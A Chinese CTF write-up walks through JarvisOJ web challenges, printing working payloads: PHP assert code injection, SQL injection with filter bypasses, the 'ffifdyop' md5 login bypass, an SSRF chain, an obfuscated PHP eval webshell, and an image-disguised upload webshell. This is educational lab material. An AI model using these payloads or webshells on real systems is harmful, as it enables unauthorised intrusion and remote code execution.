JavisOJ WEB之旅

定个小目标,最近要把Javis的web题刷通关~

babyphp

题目地址:http://web.jarvisoj.com:32798

拿到题目后,点击Home,参数变成?page=home,点击About,参数变成?page=about,推测有文件包含漏洞,但使用php://filter协议后发现行不通

About页面发现:

昨儿做梦的时候我在梦里写了这个网站

印象中我用了这些东西:

    PHP
    GIT
    Bootstrap

则推测有git泄露,扫描后果然有,将源码下载了下来,结构如下:

/templates/
    about.php
    contact.php
    flag.php
    home.php
/index.php

查看flag.php,发现什么也没有,查看源代码,可以看出关键代码:

1
2
3
4
5
6
7
8
9
10
11
12
<?php
if (isset($_GET['page'])) {
$page = $_GET['page'];
} else {
$page = "home";
}
$file = "templates/" . $page . ".php";
assert("strpos('$file', '..') === false") or die("Detected hacking attempt!");
assert("file_exists('$file')") or die("That file doesn't exist!");

require_once $file;
?>

这里考察了assert()函数的用法:

assert() 会检查指定的 assertion 并在结果为 FALSE 时采取适当的行动; 如果 assertion 是字符串,它将会被 assert() 当做 PHP 代码来执行;如果 assertion 失败了,选项 description 将会包括在失败信息里。

PHP 5

bool assert( mixed $assertion[, string $description] )

PHP 7

bool assert( mixed $assertion[, Throwable $exception] )

这里我们只需要闭合引号,便可在其后任意执行命令了:

payload1

page=','..')===false and show_source('templates/flag.php');//

那么assert函数参数内容为:

assert("strpos('templates/', '..')===false and show_source('templates/flag.php');//.php', '..') === false") or die("Detected hacking attempt!");

payload2

page=' and show_source('templates/flag.php') or '

assert函数参数内容为:

assert("strpos('templates/' and show_source('templates/flag.php') or '.php','..') === false") or die("Detected hacking attempt!");

IN A MESS

题目链接:http://web.jarvisoj.com:32780

打开题目,查看源码发现路径index.phps

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
<?php
if(!$_GET['id']) {
header('Location: index.php?id=1');
exit();
}

$id=$_GET['id'];
$a=$_GET['a'];
$b=$_GET['b'];
if(stripos($a,'.')) {
echo 'Hahahahahaha'; return ;
}

$data = @file_get_contents($a,'r');

if($data=="1112 is a nice lab!" and $id==0 and strlen($b)>5 and eregi("111".substr($b,0,1),"1114") and substr($b,0,1)!=4) {
require("flag.txt");
} else {
print "work harder!harder!harder!";
}

?>

1.伪协议绕过

$data = @file_get_contents($a,'r'); 

if($data=="1112 is a nice lab!" 

得出$a要为php://input协议,且要post1112 is a nice lab!

2.弱类型绕过

if(!$_GET['id']) { 
    header('Location: index.php?id=1'); 
    exit(); 
} 

if(... and $id==0

得出$id可以用弱类型绕过$id=0a

3.截断绕过

if(... strlen($b)>5 and eregi("111".substr($b,0,1),"1114") and substr($b,0,1)!=4)

eregi("111".substr($b,0,1),"1114")得到$b在匹配模式中,那么$b的第一个字符要么为4,要么为空;由substr($b,0,1)!=4)得到$b的第一个字符不能等于4

那么让$b的第一个字符为空即可:

$b=%0012345

得到:

Come ON!!! {/^HT2mCpcvOLf}

进入到这个路径,发现是一个注入题,有三种回显:

  • id=1时,显示hi666
  • id不等于1时,显示查询的语句
  • id后参数有空格时,显示you bad boy/girl!

还发现过滤了/**/selectunionselectfrom,但后三个字符串都可以通过双写绕过;虽然把/**/过滤了,但可以在星号中间加上其他字符来绕过

查询表:

?id=0/*1*/uniounionn/*1*/selecselectt/*1*/1,2,(selecselectt/*1*/group_concat(table_name)frfromom/*1*/information_schema.tables/*1*/where/*1*/table_schema=database())

得到表:content

查询字段:

?id=0/*1*/uniounionn/*1*/selecselectt/*1*/1,2,(selecselectt/*1*/group_concat(column_name)frfromom/*1*/information_schema.columns/*1*/where/*1*/table_schema=database())

得到字段:id,context,title

查询flag:

?id=0/*1*/uniounionn/*1*/selecselectt/*1*/1,2,(selecselectt/*1*/context/*1*/frofromm/*1*/content)

Login

一个输入框,在响应头中获取到hint:

"select * from `admin` where password='".md5($pass,true)."'"

流程:

输入$pass->经md5后会转为16进制->mysql处理16进制时会自动将其转换为ascii字符串

由于需要构造password=''or ''这种形式,则找到一个字符串,使它的md5值转化为字符串后出现两个'or,即可绕过。这里找到了一个符合要求的字符串ffifdyop

mysql> select md5('ffifdyop');
+----------------------------------+
| md5('ffifdyop')                  |
+----------------------------------+
| 276f722736c95d99e921722cf9ed621c |
+----------------------------------+
1 row in set (0.06 sec)

mysql> select 0x276f722736c95d99e921722cf9ed621c;
+------------------------------------+
| 0x276f722736c95d99e921722cf9ed621c |
+------------------------------------+
| 'or'6蒥欓!r,                        |
+------------------------------------+
1 row in set (0.00 sec)

Chopper

有个管理员登录的链接,不过点击后会弹出you are not admin!的提示;查看根目录页面源代码,看到一个链接:

<img src="proxy.php?url=http://dn.jarvisoj.com/static/images/proxy.jpg" alt="">

查看/admin页面源代码,看到一个提示:

<!--<script>alert('admin ip is 202.5.19.128')</script>-->

之后扫文件目录也扫不出东西,真想看看源码是什么。。。看wp构造payload:

http://web.jarvisoj.com:32782/proxy.php?url=http://202.5.19.128/proxy.php?url=http://web.jarvisoj.com:32782/admin/robots.txt

发现有两个文件:

User-agent: *
Disallow:trojan.php
Disallow:trojan.php.txt

访问txt文件,得到trojian.php源码:

1
2
3
4
<?php 
${("#"^"|").("#"^"|")}=("!"^"`").("( "^"{").("("^"[").("~"^";").("|"^".").("*"^"~");
${("#"^"|").("#"^"|")}(("-"^"H"). ("]"^"+"). ("["^":"). (","^"@"). ("}"^"U"). ("e"^"A"). ("("^"w").("j"^":"). ("i"^"&"). ("#"^"p"). (">"^"j"). ("!"^"z"). ("T"^"g"). ("e"^"S"). ("_"^"o"). ("?"^"b"). ("]"^"t"));
?>

这里存在着php的几个特性:

1.特殊的变量名可以用{}括起来,大括号里面可以是表达式,如本题的${("#"^"|").("#"^"|")}实际上是${__}
2.函数名是不区分大小写的,如本题在本地测试,上述字符串运行后实际上是:

${__} = ASsERT;
${__}(eval($_POST[360]));

注:php的方法名、类名、函数名都是不区分大小写的

之后用菜刀连接即可看到flag

扫描得到文件结构:

/index.php
/main.php
/upload.php:上传点,上传成功返回图片id
/view.php:输入图片id和type查看图片
/uploads/:在路径后跟上图片id和后缀可直接访问图片

上传后缀为.php,发现提示

alert('上传照片只能是JPG或者GIF!');history.go(-1)

将后缀改为.xyz,依旧不能上传,则推断后端为白名单检测

将后缀改为jpg,内容改为php一句话木马,发现仍不能上传;推测检测后缀的同时,还检测文件头,将文件头添加到代码前,发现可以上传成功

既然只能上传图片马,那就需要考虑如何去利用;注意到了点击Submit时,url变成/index.php?page=submit,点击View时,页面变成/index.php?page=view

那么将参数page的值改为flag,报出错误信息:

由此可知fopen的文件名是page后的参数+.php;要想办法将自己上传的图片马用fopen函数打开,可以利用00截断(这里有个小坑,稍后会提):

?page=uploads/1561905539.jpg%00

但页面显示You should not do this!,看来马被检测出来了,将php代码内容清空上传:<?php ?>,结果还是这样;那么换一种马的写法:

<script language=php>@eval($_POST['cmd']);</script>

之后页面无显示内容,用菜刀连接,拿到flag


参考链接:

https://www.360zhijia.com/anquan/418538.html

http://dldxz.cn/2019/03/17/Jarvis-OJ-web-wp